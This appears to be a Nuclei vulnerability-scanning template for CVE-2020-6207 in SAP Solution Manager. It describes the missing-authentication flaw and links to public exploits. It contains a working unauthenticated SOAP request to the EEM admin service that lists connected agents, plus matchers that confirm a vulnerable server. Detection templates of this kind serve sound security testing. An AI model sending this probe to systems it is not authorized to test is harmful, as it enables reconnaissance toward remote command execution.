nuclei-templates/cves/2020/CVE-2020-6207.yaml

49 lines
1.9 KiB
YAML

id: CVE-2020-6207
info:
name: SAP Solution Manager remote unauthorized OS commands execution
author: _generic_human_
severity: critical
tags: cve,cve2020,sap,solman,rce
description: |
SAP Solution Manager (SolMan) running version 7.2 has CVE-2020-6207 vulnerability within the SAP EEM servlet (tc~smd~agent~application~eem). The vulnerability occurs due to missing authentication checks when submitting SOAP requests to the /EemAdminService/EemAdmin page to get information about connected SMDAgents, send HTTP request (SSRF), and execute OS commands on connected SMDAgent.
reference:
- https://launchpad.support.sap.com/#/notes/2890213
- https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=540935305
- https://i.blackhat.com/USA-20/Wednesday/us-20-Artuso-An-Unauthenticated-Journey-To-Root-Pwning-Your-Companys-Enterprise-Software-Servers-wp.pdf
- https://github.com/chipik/SAP_EEM_CVE-2020-6207
- https://www.rapid7.com/db/modules/auxiliary/admin/sap/cve_2020_6207_solman_rce/
- https://www.rapid7.com/db/modules/exploit/multi/sap/cve_2020_6207_solman_rs/
requests:
- raw:
- |
POST /EemAdminService/EemAdmin HTTP/1.1
Host: {{Hostname}}
SOAPAction: ""
Content-Type: text/xml; charset=UTF-8
Connection: close
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:adm="http://sap.com/smd/eem/admin/"><soapenv:Header/><soapenv:Body><adm:getAllAgentInfo/></soapenv:Body></soapenv:Envelope>
matchers-condition: and
matchers:
- type: word
words:
- ":Envelope"
- ":Body"
- ":getAllAgentInfoResponse"
part: body
condition: and
- type: status
status:
- 200
- type: word
words:
- "text/xml"
- "SAP NetWeaver Application Server"
part: header
condition: and